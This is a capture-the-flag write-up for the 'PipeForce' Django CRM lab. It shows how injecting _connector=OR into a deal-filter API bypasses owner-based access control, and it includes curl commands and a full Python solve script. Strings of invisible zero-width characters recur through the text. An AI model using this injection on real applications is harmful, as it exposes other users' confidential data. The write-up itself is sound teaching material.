← Back to Writeups
CUSTOMMediumWeb

PipeForce

XESXOR9/2/20263 min read
#web#custom#medium#access_control_bypass#django_orm_connector_injection#query_logic_manipulation

PipeForce

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: access_control_bypass, django_orm_connector_injection, query_logic_manipulation

Summary

Walkthrough of the CUSTOM Web PipeForce. Task: CRM deal pipeline with role-based access control, Django ORM filtering via query parameters without whitelisting. Solution: Injected _connector=OR parameter to change filter logic from AND to OR

Description

PipeForce is a CRM platform built by Momentum Labs for high-velocity sales teams to manage their deal pipelines. Each salesperson can view and filter their own deals, contacts, and activities through a modern web interface. The platform features role-based access control where managers and admins have access to confidential deal records that regular salespeople cannot see. The deal pipeline supports filtering by status, stage, and priority via query parameters. The goal is to find and read a confidential deal record that contains sensitive internal information. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A CRM web application with role-based access control. Regular users can only see their own deals, but the filtering API passes query parameters directly to Django's ORM without whitelisting. The goal is to access confidential deal records owned by admin users.

Analysis

The application is a Django-based CRM with the following structure:

  • Dashboard (/), Deal Pipeline (/deals/), Contacts (/contacts/), Activity Log (/activities/), Reports (/reports/), Settings (/settings/)
  • API endpoint /api/deals/ accepts query parameters for filtering (status, stage, priority)
  • Access control enforced by adding owner=current_user to filter conditions using AND logic
  • The filter dropdown reveals "Confidential" as an available stage, hinting at hidden data ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The vulnerability lies in Django's ORM Q object internals. When query parameters are passed directly to .filter() or used to construct Q objects, the special _connector parameter controls how conditions are combined. By default, conditions are joined with AND, but injecting _connector=OR changes the logic operator.

Key insight: The access control filter owner=current_user is combined with user-supplied filters. If we can change the connector from AND to OR, the owner check becomes just one alternative condition rather than a mandatory requirement. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy trap: A fake flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} was planted in HTML comments on every page to mislead automated tools and AI agents.

Solution

Step 1: Authentication

Login with provided credentials:

bash
# Get CSRF token and login
curl -c cookies.txt -b cookies.txt -X POST https://TARGET/login/ \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=user@test.com&password=password123&csrfmiddlewaretoken=TOKEN"

Step 2: Confirm access control

bash
# Try to access confidential deals normally — returns empty
curl -b cookies.txt "https://TARGET/api/deals/?stage=confidential"
# Result: [] (empty — AND logic: owner=current_user AND stage=confidential)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The query translates to WHERE owner=current_user AND stage='confidential' — returns nothing because the current user doesn't own any confidential deals.

Step 3: Inject _connector=OR

bash
# Inject _connector=OR to change filter logic
curl -b cookies.txt "https://TARGET/api/deals/?_connector=OR&stage=confidential"

This changes the query logic:

  • Before: WHERE owner=current_user AND stage='confidential' → 0 results
  • After: WHERE owner=current_user OR stage='confidential' → returns ALL user's deals PLUS all confidential deals regardless of owner ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Extract the flag

The response included a confidential deal record:

json
{
  "id": 30,
  "title": "Project Nexus - Internal",
  "owner": "Rachel Morrison (admin)",
  "stage": "confidential",
  "notes": "CONFIDENTIAL — Board-level acquisition target. Preliminary valuation complete. Auth token for due diligence portal: FLAG{REDACTED}"
}

Full solve script

python
#!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup

TARGET = "https://68d27685-3b2a-4ac2-8982-61fc12960254.labs.hackadvisor.io"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

s = requests.Session()

# Get CSRF token
resp = s.get(f"{TARGET}/login/")
soup = BeautifulSoup(resp.text, "html.parser")
csrf = soup.find("input", {"name": "csrfmiddlewaretoken"})["value"]

# Login
s.post(f"{TARGET}/login/", data={
    "email": "user@test.com",
    "password": "password123",
    "csrfmiddlewaretoken": csrf
}, headers={"Referer": f"{TARGET}/login/"})

# Exploit _connector injection to bypass access control
resp = s.get(f"{TARGET}/api/deals/", params={
    "_connector": "OR",
    "stage": "confidential"
})
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

deals = resp.json()
for deal in deals:
    if "confidential" in deal.get("stage", "").lower():
        print(f"[+] Found confidential deal: {deal['title']}")
        print(f"[+] Notes: {deal.get('notes', '')}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering access_control_bypass, django_orm_connector_injection, query_logic_manipulation was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-05 • CUSTOM • PipeForce • Difficulty: Medium